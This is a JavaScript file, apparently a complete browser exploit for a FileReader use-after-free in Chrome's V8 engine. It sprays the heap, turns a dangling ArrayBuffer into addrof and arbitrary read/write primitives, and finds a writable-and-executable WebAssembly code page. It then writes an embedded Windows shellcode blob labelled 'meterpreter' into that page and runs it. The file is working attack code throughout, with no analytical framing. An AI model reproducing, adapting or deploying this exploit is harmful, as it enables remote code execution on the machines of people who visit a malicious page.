exploit.js

let myWorker = new Worker('worker.js');
let reader = null;
spray = null;               // nested arrays used to hold the sprayed heap contents
let onprogress_cnt = 0;     // number of times onprogress was called in a round
let try_cnt = 0;            // number of rounds we tried
let last = 0, lastlast = 0; // last two AB results from the read
let tarray = 0;             // TypedArray constructed from the dangling ArrayBuffer
const string_size = 128 * 1024 * 1024;
let contents = String.prototype.repeat.call('Z', string_size);
let f = new File([contents], "text.txt");
const marker1 = 0x36313233;
const marker2 = 0x37414546;

const outers = 256;
const inners = 1024;

function allocate_spray_holders() {
    spray = new Array(outers);
    for (let i = 0; i < outers; i++) {
        spray[i] = new Array(inners);
    }
}

function clear_spray() {
    for (let i = 0; i < outers; i++) {        
        for (let j = 0; j < inners; j++) {
            spray[i][j] = null;
        }
    }
}

function reclaim_mixed() {
    // spray the heap to reclaim the freed region
    let tmp = {};
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            spray[i][j] = {a: marker1, b: marker2, c: tmp};
            spray[i][j].c = spray[i][j]     // self-reference to find our absolute address
            spray[i][j+1] = new Array(8);
            spray[i][j+2] = new Uint32Array(32);
        }
    }
}

function find_pattern() {
    const start_offset = 0x00afc000 / 4;
    for (let i = start_offset; i + 1 < string_size / 4; i++) {
        if (i < 50){
            console.log(tarray[i].toString(16));
        }
        // multiply by two because of the way SMIs are stored
        if (tarray[i] == marker1 * 2) {
            if (tarray[i+1] == marker2 * 2) {
                console.log(`found possible candidate objectat idx ${i}`);
                return i;
            }
        }
    }
    return null;
}


function get_obj_idx(prop_idx) {
    // find the index of the Object in the spray array
    tarray[prop_idx] = 0x62626262;
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j < inners; j+=1) {
            try {
                if (spray[i][j].a == 0x31313131) {
                    console.log(`found object idx in the spray array: ${i} ${j}`);
                    return spray[i][j];
                }
            } catch (e) {}
        }   
    }
}

function ta_read(addr) {
    // reads an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr > ta_absolute_addr && addr < ta_absolute_addr + string_size) {
        return tarray[(addr-ta_absolute_addr)/4];
    }

    return 0;
}

function ta_write(addr, value) {
    // wrtie to an absolute address through the original freed region
    // only works for ta_absolute_addr + string_size (128MiB)
    if (addr % 4 || value > 2**32 - 1 ||
        addr < ta_absolute_addr ||
        addr > ta_absolute_addr + string_size) {
        console.log(`invalid args passed to ta_write(${addr.toString(16)}, ${value}`);
    }
    tarray[(addr-ta_absolute_addr)/4] = value;
}

function get_corruptable_ui32a() {
    // finds a sprayed Uint32Array, the elements pointer of which also falls into the controlled region
    for (let i = 0; i < outers; i++) {
        for (let j = 0; j + 2 < inners; j+=3) {
            let ui32a_addr = addrof(spray[i][j+2]) - 1;
            let bs_addr = ta_read(ui32a_addr + 12) - 1;
            let elements_addr = ta_read(ui32a_addr + 8) - 1;
            // read its elements pointer
            // if the elements ptr lies inside the region we have access to
            if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size && 
                elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) {
                console.log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16)}, on Uint32Array idx ${i} ${j}`);
                return {
                    bs_addr: bs_addr,
                    elements_addr: elements_addr,
                    ui32: spray[i][j+2],
                    i: i, j: j
                }
            }
        }
    }
}

var reader_obj = null;
var object_prop_taidx = null;
var ta_absolute_addr = null;
var aarw_ui32 = null;

function addrof(leaked_obj) {
    reader_obj.a = leaked_obj;
    return tarray[object_prop_taidx];
}


function read4(addr) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr); 
    ta_write(aarw_ui32.bs_addr + 16, addr);

    let val = aarw_ui32.ui32[0];

    ta_write(aarw_ui32.elements_addr + 12, tmp1); 
    ta_write(aarw_ui32.bs_addr + 16, tmp2);

    return val;
}

function write4(addr, val) {
    // save the old values
    let tmp1 = ta_read(aarw_ui32.elements_addr + 12);
    let tmp2 = ta_read(aarw_ui32.bs_addr + 16);

    // rewrite the backing store ptr
    ta_write(aarw_ui32.elements_addr + 12, addr); 
    ta_write(aarw_ui32.bs_addr + 16, addr);

    aarw_ui32.ui32[0] = val;

    ta_write(aarw_ui32.elements_addr + 12, tmp1); 
    ta_write(aarw_ui32.bs_addr + 16, tmp2);
}

function get_rw() {
    // free up as much memory as possible
    // spray = null;
    // contents = null;
    force_gc();

    // attepmt reclaiming the memory pointed to by dangling pointer
    reclaim_mixed();

    // access the reclaimed region as a Uint32Array
    tarray = new Uint32Array(lastlast);
    
    object_prop_taidx = find_pattern();
    if (object_prop_taidx === null) {
        console.log('ERROR> failed to find marker');
        window.top.postMessage(`ERROR> failed to find marker`, '*');
        return;
    }

    // leak the absolute address of the Object
    const obj_absolute_addr = tarray[object_prop_taidx + 2] - 1;  // the third property of the sprayed Object is self-referential
    ta_absolute_addr = obj_absolute_addr - (object_prop_taidx-3)*4 
    console.log(`leaked absolute address of our object ${obj_absolute_addr.toString(16)}`);
    console.log(`leaked absolute address of ta ${ta_absolute_addr.toString(16)}`);

    reader_obj = get_obj_idx(object_prop_taidx);
    if (reader_obj == undefined) {
        console.log(`ERROR> failed to find object`);
        window.top.postMessage(`ERROR> failed to find object`, '*');
        return;
    }
    // now reader_obj is a reference to the Object, object_prop_taidx is the index of its first inline property from the beginning of ta    

    console.log(`addrof(reader_obj) == ${addrof(reader_obj)}`);
    aarw_ui32 = get_corruptable_ui32a();
    // arbitrary read write up after this point
}

var wfunc = null;
let meterpreter = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100");

function rce() {
    function get_wasm_func() {
        var importObject = {
            imports: { imported_func: arg => console.log(arg) }
        };
        bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
        wasm_code = new Uint8Array(bc);
        wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
        return wasm_mod.exports.exported_func;
    }

    let wasm_func = get_wasm_func();
    wfunc = wasm_func;
    // traverse the JSFunction object chain to find the RWX WebAssembly code page
    let wasm_func_addr = addrof(wasm_func) - 1;
    let sfi = read4(wasm_func_addr + 12) - 1;
    let WasmExportedFunctionData = read4(sfi + 4) - 1;
    let instance = read4(WasmExportedFunctionData + 8) - 1;
    let rwx_addr = read4(instance + 0x74);

    // write the shellcode to the RWX page
    if (meterpreter.length % 2 != 0)
        meterpreter += "\\u9090";  

    for (let i = 0; i < meterpreter.length; i += 2) {
        write4(rwx_addr + i*2, meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1) * 0x10000);
    }

    // if we got to this point, the exploit was successful
    window.top.postMessage('SUCCESS', '*');
    console.log('success');

    // invoke the shellcode
    window.setTimeout(wfunc, 1000);
}

function force_gc() {
    // forces a garbage collection to avoid OOM kills
    try {
        var failure = new WebAssembly.Memory({initial: 32767});
    } catch(e) {
        // console.log(e.message);
    }
}

function init() {
    abs = [];
    tarray = 0;
    onprogress_cnt = 0;
    try_cnt = 0;
    last = 0, lastlast = 0;
    reader = new FileReader();

    reader.onloadend = function(evt) {
        try_cnt += 1;
        failure = false;
    
        if (onprogress_cnt < 2) {
            console.log(`less than 2 onprogress events triggered: ${onprogress_cnt}, try again`);
            failure = true;
        }

        if (lastlast.byteLength != f.size) {
            console.log(`lastlast has a different size than expected: ${lastlast.byteLength}`);
            failure = true;
        }

        if (failure === true) {
            console.log('retrying in 1 second');
            window.setTimeout(exploit, 1);
            return;
        }

        console.log(`onloadend attempt ${try_cnt} after ${onprogress_cnt} onprogress callbacks`);
        
        try {
            // trigger the FREE
            myWorker.postMessage([last], [last, lastlast]);
        } catch(e) {
            // an exception with this message indicates that the FREE part of the exploit was successful
            if (e.message.includes('ArrayBuffer at index 1 could not be transferred')) {
                get_rw();
                rce();
                return;
            } else {
                console.log(e.message);
            }
        }
    }
    
    reader.onprogress = function(evt) {
        force_gc();
        let res = evt.target.result;
        // console.log(`onprogress ${onprogress_cnt}`);
        onprogress_cnt += 1;
        
        if (res.byteLength != f.size) {
            // console.log(`result has a different size than expected: ${res.byteLength}`);
            return;
        }
    
        lastlast = last;   
        last = res;
    }
    if (spray === null) {
        // allocate the spray holders if needed
        allocate_spray_holders();
    }

    // clear the spray holder arrays
    clear_spray();

    // get rid of the reserved ArrayBuffer range, as it may interfere with the exploit
    try {
        let failure = new ArrayBuffer(1024 * 1024 * 1024);
    } catch (e) {
        console.log(e.message);
    }

    force_gc();
}

function exploit() {
    init();    
    reader.readAsArrayBuffer(f);
    console.log(`attempt ${try_cnt} started`);
}